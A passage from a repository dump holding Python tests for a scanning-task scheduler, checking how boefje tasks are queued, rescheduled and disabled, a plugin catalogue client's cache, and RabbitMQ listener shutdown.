models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: schedule should NOT be created\n        self.assertIsNone(task_db.schedule_id)\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule_by_hash(task_db.hash)\n        self.assertIsNone(schedule_db)\n\n    def test_process_mutations_op_update_run_on_none(self):\n        \"\"\"When a boefje has the run_on is empty, and we receive an update\n        mutation, it should:\n\n        - SHOULD create a `Schedule`\n        - SHOULD run a `Task`\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type], run_on=None)\n        mutation = models.ScanProfileMutation(\n            operation=models.MutationOperationType.UPDATE,\n            primary_key=ooi.primary_key,\n            value=ooi,\n            client_id=self.organisation.id,\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_plugin.return_value = boefje\n        self.mock_get_boefjes_for_ooi.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_mutations(mutation)\n\n        # Assert: task should be on priority queue\n        item = self.scheduler.queue.peek(0)\n        task_pq = models.BoefjeTask(**item.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, task_pq.input_ooi)\n        self.assertEqual(boefje.id, task_pq.boefje.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: schedule should be created\n        self.assertIsNotNone(task_db.schedule_id)\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n\n\nclass NewBoefjesTestCase(BoefjeSchedulerBaseTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.mock_has_boefje_task_started_running = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_task_started_running\", return_value=False\n        ).start()\n\n        self.mock_has_boefje_permission_to_run = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_permission_to_run\", return_value=True\n        ).start()\n\n        self.mock_has_boefje_task_grace_period_passed = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_task_grace_period_passed\", return_value=True\n        ).start()\n\n        self.mock_get_new_boefjes_by_org_id = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_new_boefjes_by_org_id\"\n        ).start()\n\n        self.mock_get_objects_by_object_types = mock.patch(\n            \"scheduler.context.AppContext.services.octopoes.get_objects_by_object_types\"\n        ).start()\n\n        self.mock_get_organisations = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_organisations\"\n        ).start()\n\n        self.mock_get_configs = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_configs\", return_value=[]\n        ).start()\n\n    def tearDown(self):\n        mock.patch.stopall()\n\n    def test_process_new_boefjes(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Mocks\n        self.mock_get_organisations.return_value = [self.organisation]\n        self.mock_get_objects_by_object_types.return_value = [ooi]\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should be on priority queue\n        task_pq = self.scheduler.queue.peek(0)\n        boefje_task_pq = models.BoefjeTask(**task_pq.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, boefje_task_pq.input_ooi)\n        self.assertEqual(boefje.id, boefje_task_pq.boefje.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task_pq.id)\n        self.assertEqual(task_db.id, task_pq.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n    def test_process_new_boefjes_request_exception(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Mocks\n        self.mock_get_objects_by_object_types.side_effect = [\n            clients.errors.ExternalServiceError(\"External service is not available.\"),\n            clients.errors.ExternalServiceError(\"External service is not available.\"),\n        ]\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_new_boefjes()\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_no_new_boefjes(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n\n        # Mocks\n        self.mock_get_objects_by_object_types.return_value = [ooi]\n        self.mock_get_new_boefjes_by_org_id.return_value = []\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_empty_consumes(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[])\n\n        # Mocks\n        self.mock_get_objects_by_object_types.return_value = [ooi]\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_empty_consumes_no_ooi(self):\n        # Arrange\n        boefje = PluginFactory(scan_level=0, consumes=[])\n\n        # Mocks\n        self.mock_get_objects_by_object_types.return_value = []\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_no_oois_found(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Mocks\n        self.mock_get_objects_by_object_types.return_value = []\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_get_objects_request_exception(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Mocks\n        self.mock_get_objects_by_object_types.side_effect = [\n            clients.errors.ExternalServiceError(\"External service is not available.\"),\n            clients.errors.ExternalServiceError(\"External service is not available.\"),\n        ]\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_new_boefjes()\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_not_allowed_to_run(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Mocks\n        self.mock_get_objects_by_object_types.return_value = [ooi]\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n        self.mock_has_boefje_permission_to_run.return_value = False\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_still_running(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Mocks\n        self.mock_get_objects_by_object_types.return_value = [ooi]\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n        self.mock_has_boefje_task_started_running.return_value = True\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_new_boefjes_item_on_queue(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        # Mocks\n        self.mock_get_organisations.return_value = [self.organisation]\n        self.mock_get_objects_by_object_types.return_value = [ooi]\n        self.mock_get_new_boefjes_by_org_id.return_value = [boefje]\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Task should be on priority queue\n        task_pq = self.scheduler.queue.peek(0)\n        boefje_task_pq = models.BoefjeTask(**task_pq.data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(ooi.primary_key, boefje_task_pq.input_ooi)\n        self.assertEqual(boefje.id, boefje_task_pq.boefje.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task_pq.id)\n        self.assertEqual(task_db.id, task_pq.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Act\n        self.scheduler.process_new_boefjes()\n\n        # Should only be one task on queue\n        task_pq = models.BoefjeTask(**self.scheduler.queue.peek(0).data)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n\nclass RescheduleTestCase(BoefjeSchedulerBaseTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.mock_has_boefje_task_started_running = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_task_started_running\", return_value=False\n        ).start()\n\n        self.mock_has_boefje_task_grace_period_passed = mock.patch(\n            \"scheduler.schedulers.BoefjeScheduler.has_boefje_task_grace_period_passed\", return_value=True\n        ).start()\n\n        self.mock_get_schedules = mock.patch(\n            \"scheduler.context.AppContext.datastores.schedule_store.get_schedules\"\n        ).start()\n\n        self.mock_get_object = mock.patch(\"scheduler.context.AppContext.services.octopoes.get_object\").start()\n\n        self.mock_get_objects = mock.patch(\"scheduler.context.AppContext.services.octopoes.get_objects\").start()\n\n        self.mock_get_plugin = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_plugin_by_id_and_org_id\"\n        ).start()\n\n        self.mock_get_configs = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_configs\", return_value=[]\n        ).start()\n\n    def tearDown(self):\n        mock.patch.stopall()\n\n    def test_process_rescheduling_scheduler_id(self):\n        pass\n\n    def test_process_rescheduling(self):\n        \"\"\"When the deadline of schedules have passed, the resulting task should be added to the queue\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            deadline_at=datetime.now(timezone.utc) + timedelta(seconds=1),\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n        time.sleep(2)\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n        self.mock_get_objects.return_value = [ooi]\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: new item should be on queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Assert: new item is created with a similar task\n        peek = self.scheduler.queue.peek(0)\n        self.assertEqual(schedule.hash, peek.hash)\n\n        # Assert: task should be created, and should be the one that is queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(peek.id)\n        self.assertIsNotNone(task_db)\n        self.assertEqual(peek.id, task_db.id)\n\n    def test_process_rescheduling_no_ooi(self):\n        \"\"\"When the deadline has passed, and when the resulting tasks doesn't\n        have an OOI, it should create a task.\n        \"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            deadline_at=datetime.now(timezone.utc) + timedelta(seconds=1),\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n        time.sleep(2)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n        self.mock_get_objects.return_value = [ooi]\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: new item should be on queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Assert: new item is created with a similar task\n        peek = self.scheduler.queue.peek(0)\n        self.assertEqual(schedule_db.hash, peek.hash)\n\n        # Assert: task should be created, and should be the one that is queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(peek.id)\n        self.assertIsNotNone(task_db)\n        self.assertEqual(peek.id, task_db.id)\n\n    def test_process_rescheduling_ooi_not_found(self):\n        \"\"\"When ooi isn't found anymore for the schedule, we disable the schedule\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            deadline_at=datetime.now(timezone.utc) + timedelta(seconds=1),\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n        time.sleep(2)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n        self.mock_get_objects.return_value = None\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: item should not be on queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Assert: schedule should be disabled\n        schedule_db_disabled = self.mock_ctx.datastores.schedule_store.get_schedule(schedule.id)\n        self.assertFalse(schedule_db_disabled.enabled)\n\n    def test_process_rescheduling_boefje_not_found(self):\n        \"\"\"When boefje isn't found anymore for the schedule, we disable the schedule\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            deadline_at=datetime.now(timezone.utc) + timedelta(seconds=1),\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n        time.sleep(2)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n        self.mock_get_objects.return_value = [ooi]\n        self.mock_get_plugin.return_value = None\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: item should not be on queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Assert: schedule should be disabled\n        schedule_db_disabled = self.mock_ctx.datastores.schedule_store.get_schedule(schedule.id)\n        self.assertFalse(schedule_db_disabled.enabled)\n\n    def test_process_rescheduling_boefje_disabled(self):\n        \"\"\"When boefje disabled for the schedule, we disable the schedule\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[ooi.object_type], enabled=False)\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            deadline_at=datetime.now(timezone.utc) + timedelta(seconds=1),\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n        time.sleep(2)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n        self.mock_get_objects.return_value = [ooi]\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: item should not be on queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Assert: schedule should be disabled\n        schedule_db_disabled = self.mock_ctx.datastores.schedule_store.get_schedule(schedule.id)\n        self.assertFalse(schedule_db_disabled.enabled)\n\n    def test_process_rescheduling_boefje_doesnt_consume_ooi(self):\n        \"\"\"When boefje doesn't consume the ooi, we disable the schedule\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=0, consumes=[])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            deadline_at=datetime.now(timezone.utc) + timedelta(seconds=1),\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n        time.sleep(2)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n        self.mock_get_objects.return_value = [ooi]\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: item should not be on queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Assert: schedule should be disabled\n        schedule_db_disabled = self.mock_ctx.datastores.schedule_store.get_schedule(schedule.id)\n        self.assertFalse(schedule_db_disabled.enabled)\n\n    def test_process_rescheduling_boefje_cannot_scan_ooi(self):\n        \"\"\"When boefje cannot scan the ooi, we disable the schedule\"\"\"\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        plugin = PluginFactory(scan_level=1, consumes=[ooi.object_type])\n\n        boefje_task = models.BoefjeTask(\n            boefje=models.Boefje.model_validate(plugin.model_dump()),\n            input_ooi=ooi.primary_key,\n            organization=self.organisation.id,\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n            deadline_at=datetime.now(timezone.utc) + timedelta(seconds=1),\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n        time.sleep(2)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n        self.mock_get_objects.return_value = [ooi]\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: item should not be on queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Assert: schedule should be disabled\n        schedule_db_disabled = self.mock_ctx.datastores.schedule_store.get_schedule(schedule.id)\n        self.assertFalse(schedule_db_disabled.enabled)\n"
  },
  {
    "path": "mula/tests/integration/test_clients.py",
    "content": "import threading\nimport time\nimport unittest\nfrom unittest import mock\n\nfrom scheduler import clients, config, storage\nfrom scheduler.utils import remove_trailing_slash\n\nfrom tests.factories import PluginFactory\n\n\nclass BytesTestCase(unittest.TestCase):\n    def setUp(self) -> None:\n        self.config = config.settings.Settings()\n        self.service_bytes = clients.Bytes(\n            host=remove_trailing_slash(str(self.config.host_bytes)),\n            user=self.config.host_bytes_user,\n            password=self.config.host_bytes_password,\n            timeout=self.config.bytes_request_timeout,\n            pool_connections=self.config.bytes_pool_connections,\n            source=\"scheduler_test\",\n        )\n\n    @unittest.skip\n    def test_login(self):\n        self.service_bytes.login()\n\n        self.assertIsNotNone(self.service_bytes.headers)\n        self.assertIsNotNone(self.service_bytes.headers.get(\"Authorization\"))\n\n    @unittest.skip\n    def test_expired_token_refresh(self):\n        self.service_bytes.get_last_run_boefje(boefje_id=\"boefje-1\", input_ooi=\"ooi-1\", organization_id=\"org-1\")\n        initial_token = id(self.service_bytes.headers.get(\"Authorization\"))\n\n        time.sleep(70)\n\n        self.service_bytes.get_last_run_boefje(boefje_id=\"boefje-1\", input_ooi=\"ooi-1\", organization_id=\"org-1\")\n        refresh_token = id(self.service_bytes.headers.get(\"Authorization\"))\n\n        self.assertNotEqual(initial_token, refresh_token)\n\n\nclass KatalogusTestCase(unittest.TestCase):\n    def setUp(self) -> None:\n        self.config = config.settings.Settings()\n        self.dbconn = storage.DBConn(str(self.config.db_uri))\n        self.dbconn.connect()\n\n        self.service_katalogus = clients.Katalogus(\n            host=remove_trailing_slash(str(self.config.host_katalogus)),\n            source=\"scheduler_test\",\n            timeout=self.config.katalogus_request_timeout,\n            pool_connections=self.config.katalogus_pool_connections,\n        )\n\n    @mock.patch(\"scheduler.clients.http.external.katalogus.Katalogus.get_plugins_by_organisation\")\n    def test_get_new_boefjes_by_org_id(self, mock_get_plugins_by_organisation):\n        # Mock\n        mock_get_plugins_by_organisation.side_effect = [\n            # First call\n            [\n                PluginFactory(id=\"plugin-1\", type=\"boefje\", enabled=True, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-2\", type=\"boefje\", enabled=True, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-3\", type=\"boefje\", enabled=False, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-4\", type=\"normalizer\", enabled=True, consumes=[\"Hostname\"]),\n            ],\n            # Second call\n            [\n                PluginFactory(id=\"plugin-1\", type=\"boefje\", enabled=True, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-3\", type=\"boefje\", enabled=False, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-4\", type=\"normalizer\", enabled=True, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-5\", type=\"boefje\", enabled=True, consumes=[\"Hostname\"]),\n            ],\n        ]\n\n        # Act: First call we would expect 2 new boefjes\n        new_boefjes = self.service_katalogus.get_new_boefjes_by_org_id(\"org-1\")\n\n        # Assert\n\n        # Should have 1 organisation in cache\n        self.assertEqual(len(self.service_katalogus.new_boefjes_cache), 1)\n        self.assertIsNotNone(self.service_katalogus.new_boefjes_cache.get(\"org-1\"))\n\n        # Should have 2 new boefjes in cache\n        self.assertEqual(len(self.service_katalogus.new_boefjes_cache.get(\"org-1\")), 2)\n        self.assertIsNotNone(self.service_katalogus.new_boefjes_cache.get(\"org-1\").get(\"plugin-1\"))\n        self.assertIsNotNone(self.service_katalogus.new_boefjes_cache.get(\"org-1\").get(\"plugin-2\"))\n        self.assertEqual(len(new_boefjes), 2)\n        self.assertEqual(new_boefjes[0].id, \"plugin-1\")\n        self.assertEqual(new_boefjes[1].id, \"plugin-2\")\n\n        # Act: Second call we would expect 1 new boefje, and 1 removed boefje\n        new_boefjes = self.service_katalogus.get_new_boefjes_by_org_id(\"org-1\")\n\n        # Assert\n\n        # Should have 1 organisation in cache\n        self.assertEqual(len(self.service_katalogus.new_boefjes_cache), 1)\n        self.assertIsNotNone(self.service_katalogus.new_boefjes_cache.get(\"org-1\"))\n\n        # Should have 2 new boefjes in cache\n        self.assertEqual(len(self.service_katalogus.new_boefjes_cache.get(\"org-1\")), 2)\n        self.assertIsNotNone(self.service_katalogus.new_boefjes_cache.get(\"org-1\").get(\"plugin-1\"))\n        self.assertIsNone(self.service_katalogus.new_boefjes_cache.get(\"org-1\").get(\"plugin-2\"))\n        self.assertIsNotNone(self.service_katalogus.new_boefjes_cache.get(\"org-1\").get(\"plugin-5\"))\n\n        self.assertEqual(len(new_boefjes), 1)\n        self.assertEqual(new_boefjes[0].id, \"plugin-5\")\n\n    @mock.patch(\"scheduler.clients.http.external.katalogus.Katalogus.get_plugins_by_organisation\")\n    def test_new_boefjes_cache_thread_safety(self, mock_get_plugins_by_organisation):\n        mock_get_plugins_by_organisation.side_effect = [\n            [\n                PluginFactory(id=\"plugin-1\", type=\"boefje\", enabled=True, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-2\", type=\"boefje\", enabled=True, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-3\", type=\"boefje\", enabled=False, consumes=[\"Hostname\"]),\n                PluginFactory(id=\"plugin-4\", type=\"normalizer\", enabled=True, consumes=[\"Hostname\"]),\n            ]\n        ]\n\n        event = threading.Event()\n\n        def write_to_cache(event):\n            with self.service_katalogus.new_boefjes_cache_lock:\n                event.set()\n\n                # We simulate a long running task and thread 2 would\n                # potentially start before this task is done\n                time.sleep(5)\n\n                self.service_katalogus.new_boefjes_cache[\"org-1\"] = {\n                    \"plugin-5\": PluginFactory(id=\"plugin-5\", type=\"boefje\", enabled=True, consumes=[\"Hostname\"])\n                }\n\n        thread1 = threading.Thread(target=write_to_cache, args=(event,))\n        thread2 = threading.Thread(target=self.service_katalogus.get_new_boefjes_by_org_id, args=(\"org-1\",))\n\n        thread1.start()\n\n        # Wait for thread 1 to set the event before starting thread 2\n        event.wait()\n        thread2.start()\n\n        thread1.join()\n        thread2.join()\n\n        self.assertEqual(len(self.service_katalogus.new_boefjes_cache.get(\"org-1\")), 2)\n"
  },
  {
    "path": "mula/tests/integration/test_listeners.py",
    "content": "import threading\nimport time\nimport unittest\nfrom unittest import mock\n\nimport pika\nfrom scheduler import clients, utils\n\nfrom tests.mocks import listener\n\n\nclass RabbitMQTestCase(unittest.TestCase):\n    DSN = \"amqp://guest:guest@ci_rabbitmq:5672/%2Fkat\"\n\n    def setUp(self):\n        self.listeners: list[clients.listeners.Listener] = []\n\n        threading.excepthook = self.unhandled_exception\n\n    def tearDown(self):\n        for listener_ in self.listeners:\n            listener_.stop()\n\n    def unhandled_exception(self, args: threading.ExceptHookArgs) -> None:\n        \"\"\"An unhandled exception hook for threading.\"\"\"\n        for listener_ in self.listeners:\n            listener_.stop()\n\n    def test_shutdown(self):\n        \"\"\"Test that the listener stops when the stop method is called.\"\"\"\n\n        def test_func(body):\n            pass\n\n        stop_event = threading.Event()\n\n        listener_ = listener.MockRabbitMQ(dsn=self.DSN, queue=\"test\", func=test_func)\n        self.listeners.append(listener_)\n\n        # Run the listener\n        thread = utils.ThreadRunner(\n            name=\"MockRabbitMQ\", target=listener_.listen, stop_event=stop_event, interval=0.01, daemon=False, loop=False\n        )\n        thread.start()\n\n        # Make sure the listener is running\n        self.assertTrue(thread.is_alive())\n\n        # Call stop on the listener\n        listener_.stop()\n\n        max_wait = 5\n        while thread.is_alive() and max_wait > 0:\n            time.sleep(1)\n            max_wait -= 1\n\n        # Make sure the listener is stopped\n        self.assertFalse(thread.is_alive())\n\n    def test_shutdown_no_connection(self):\n        \"\"\"Test that the listener stops when the stop method is called without\n        a connection.\"\"\"\n\n        def test_func(body):\n            pass\n\n        stop_event = threading.Event()\n\n        listener_ = listener.MockRabbitMQ(dsn=self.DSN, queue=\"test\", func=test_func)\n        self.listeners.append(listener_)\n\n        # Run the listener\n        thread = utils.ThreadRunner(\n            name=\"MockRabbitMQ\", target=listener_.listen, stop_event=stop_event, interval=0.01, daemon=False, loop=False\n        )\n        thread.start()\n\n        # Make sure the listener is running\n        self.assertTrue(thread.is_alive())\n\n        # Stop the listener\n        listener_.connection = None\n        listener_.stop()\n\n        max_wait = 5\n        while thread.is_alive() and max_wait > 0:\n            time.sleep(1)\n            max_wait -= 1\n\n        # Make sure the listener is stopped\n        self.assertFalse(thread.is_alive())\n\n    @mock.patch(\"pika.adapters.blocking_connection.BlockingChannel.start_consuming\")\n    def test_start_consuming_exception(self, mock_start_consuming):\n        \"\"\"Test that the listener stops when an exception is raised in start_consuming.\"\"\"\n\n        def test_func(body):\n            pass\n\n        stop_event = threading.Event()\n\n        listener_ = listener.MockRabbitMQ(dsn=self.DSN, queue=\"test\", func=test_func)\n        self.listeners.append(listener_)\n\n        # Mocks\n        # This will issue an unhandled_exception\n        mock_start_consuming.side_effect = Exception(\"Test Exception\")\n\n        # Run the listener\n        thread = utils.ThreadRunner(\n            name=\"MockRabbitMQ\", target=listener_.listen, stop_event=stop_event, interval=0.01, daemon=False, loop=False\n        )\n        thread.start()\n\n        max_wait = 5\n        while thread.is_alive() and max_wait > 0:\n            time.sleep(1)\n            max_wait -= 1\n\n        # Make sure the listener stopped running\n        for thread in threading.enumerate():\n            if thread is threading.main_thread():\n                continue\n\n            self.assertFalse(thread.is_alive())\n\n    def test_func_exception(self):\n        \"\"\"Test that the listener does NOT stop when an exception is raised in\n        the func.\n\n        Since the `func` is called evertime 